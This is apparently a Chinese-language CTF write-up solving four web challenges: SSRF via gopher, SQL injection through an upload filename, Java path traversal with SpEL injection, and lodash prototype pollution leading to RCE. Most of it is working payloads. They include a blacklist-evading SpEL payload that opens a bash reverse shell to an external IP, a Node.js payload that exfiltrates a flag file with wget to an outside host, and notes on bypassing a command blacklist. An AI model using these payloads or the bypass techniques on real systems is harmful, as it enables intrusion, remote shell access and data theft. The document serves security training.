Sign_in 一道SSRF
看一下网络情况
http://124.222.173.163:20003/?url=file:///proc/net/arp
访问一下 100,因为长的奇怪
绕后就是添加一下XFF,Ref头信息,gopher打过去就好
exp
import urllib.parsepayload =\ """ POST /?a=1 HTTP/1.1 Host: bolean.club Content-Type: application/x-www-form-urlencoded Content-Length: 3 X-Forwarded-For: 127.0.0.1 Referer: bolean.club b=1 """ tmp = urllib.parse.quote(payload) new = tmp.replace('%0A' ,'%0D%0A' ) result = '?url=gopher://172.73.26.100:80/' +'_' +new result = urllib.parse.quote(result) print(result)
FLAG:flag{Have_A_GoOd_T1m3!!!!!!}
upload 题目提示与sql有关,随便上传尝试在filename加个单引号
回显报错
Error: insert into upload_file values('9e55ed4dd2c3418a9f3c6b39c5fb2290.sql'');<br>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''9e55ed4dd2c3418a9f3c6b39c5fb2290.sql'')' at line 1
利用报错注入读一下源码,sqlmap可以跑出来
index.php
<!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>ç®åä¸ä¼ </title> </head> <body> <form action="" method="post" enctype="multipart/form-data" > <input type="file" name="upfile" > <input type="submit" value="ä¸ä¼ " > </form> </body> </html> <?php ini_set('display_errors' ,1 ); ini_set('display_startup_errors' ,1 ); error_reporting(-1 ); $servername = "localhost" ; $username = "root" ; $password = "123456" ; $dbname = "upload" ; $conn = mysqli_connect($servername , $username , $password , $dbname ); if (!empty ($_FILES )){ $filename_hz = explode("." , $_FILES ['upfile' ]['name' ]); $name = array ('jpg' , 'jpeg' ,'png' , 'gif' ); $filename_ = end($filename_hz ); if (in_array($filename_ , $name ) || $_FILES ['upfile' ]['type' ] == "ctf" ){ $tmpname = $_FILES ['upfile' ]['tmp_name' ]; $name = $_FILES ['upfile' ]['name' ]; $file_name = md5(date('YmdHis' ).rand(100 ,999 ).$name ).'.' .$filename_ ; $sql = "insert into upload_file values('$file_name ');" ; if (mysqli_query($conn , $sql )){ if (move_uploaded_file($tmpname , './upload/' .$file_name )){ echo $name ."" ."/upload/$file_name " ; }else { echo $name ." " ; } }else { echo "Error: " . $sql . "<br>" . mysqli_error($conn ); } }else { echo "............ctf" ; } }
直接报错猜 flag 字段
FLAG:flag{5937a0b90b5966939cccd369291c68aa}
ez_java
任意文件读取
/download?filename=../../../web.xml
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>DownloadServlet</servlet-name> <servlet-class>com.abc.servlet.DownloadServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadServlet</servlet-name> <url-pattern>/download</url-pattern> </servlet-mapping> <servlet> <servlet-name>TestServlet</servlet-name> <servlet-class>com.abc.servlet.TestServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>TestServlet</servlet-name> <url-pattern>/test388</url-pattern> </servlet-mapping> </web-app>
下载两个 class文件
/download?filename=../../../classes/com/abc/servlet/TestServlet.class /download?filename=../../../classes/com/abc/servlet/DownloadServlet.class
TestServlet.class存在SPEL注入,黑名单拼接一下就绕了
URL编码一下payload即可反弹shell
POST: http://124.220.9.19:8025/test388 name=#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","bash -i >&/dev/tcp/1.116.110.61/3000 0>&1"})}
FLAG:flag{123awerghjvxcvcjfreawe}
ezjs
看下库,用到了lodash,这个版本存在漏洞,npm install 一下本地调试
从代码中可以看到merge存在原型污染,然后用到了template函数
然后找到了文章 从 Lodash 原型链污染到模板 RCE - 安全客,安全资讯平台 (anquanke.com) ,有个配合 lodash.template 实现 RCE,污染 sourceURL
payload
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
但是题目的黑名单没有明确给出,跟进调试一下,假设黑名单为空。
断点下到template,Object的sourceURL已被污染
判断options中的sourceURL的值,options中不存在,向上寻找到Object,这里已经污染了所以存在
此时
sourceURL = "//# sourceURL=\nreturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('calc')}\n"
然后拼接到 Function中的第二个参数,造成任意代码执行
需要注意的
但是要注意,Function 环境下没有 require 函数,直接使用 require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。
关于Function构造器(构造函数):Nodejs原型链污染中lodash的利用方法分析
var person = { age:3 } var myFunction = new Function("a", "return 1*a*this.age"); myFunction.apply(person,[2]) // return 1*a*this.age 即为functionBody,可以执行我们的代码。
本地测试几个变形的payload,可以执行
{"__proto__":{"sourceURL":"\u000areturn global.process.mainModule.constructor._load('child_process').execSync('calc')"}} {"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').execSync('calc')"}}
然后就是手动fuzz题目的黑名单
空格 require return execSync curl bash wget echo flag nl tac cat(没ban但是不起作用) * ?
payload,flag在/.flag
{ "__proto__":{ "sourceURL": "\nglobal.process.mainModule.constructor._load('child_process').exec('wg'+'et${IFS}http://1.116.110.61:3000/`ta\"\"c${IFS}/.fl\"\"ag`')" } }
注意 Content-Type: application/json
FLAG:flag{n0D3_1s_V3rY_v3Ry_very_v3rY_Fun_1sNt_it}